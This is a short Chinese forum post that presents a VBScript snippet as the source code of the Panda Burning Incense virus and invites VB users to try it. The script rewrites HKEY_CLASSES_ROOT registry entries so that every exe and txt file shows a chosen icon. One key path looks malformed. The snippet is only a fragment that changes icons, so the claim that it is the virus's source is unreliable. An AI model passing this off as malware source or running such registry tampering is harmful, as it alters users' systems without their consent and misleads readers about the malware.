熊猫烧香病毒相信大家都知道,一个叫做武汉男生的家伙写的。 其实也没什么,只是综合起来而已,实现了一些可怕的功能。  
这里我公布一下VB源代码
Dim test
Set test = CreateObject("wscript.shell")
test.regwrite "HKEY_CLASSES_ROOT\exefile\defaulticon\", "C:\Documents and Settings\Administrator\桌面\favicon.ico"
test.regwrite "HKEY_CLASSES_ROOT\exe\", "exefile"
Dim tools
Set tools = CreateObject("wscript.shell")
tools.regwrite "HKEY_CLASSES_ROOT\txtfile\defaulticon\", "C:\Documents and Settings\Administrator\桌面\favicon.ico"
tools.regwrite "HKEY_CLASSES_ROOT\txt\", "txtfile"
这只是冰山一角。\
这只对图标进行修改,并没有破坏。
VB的朋友们,可以试一试效果。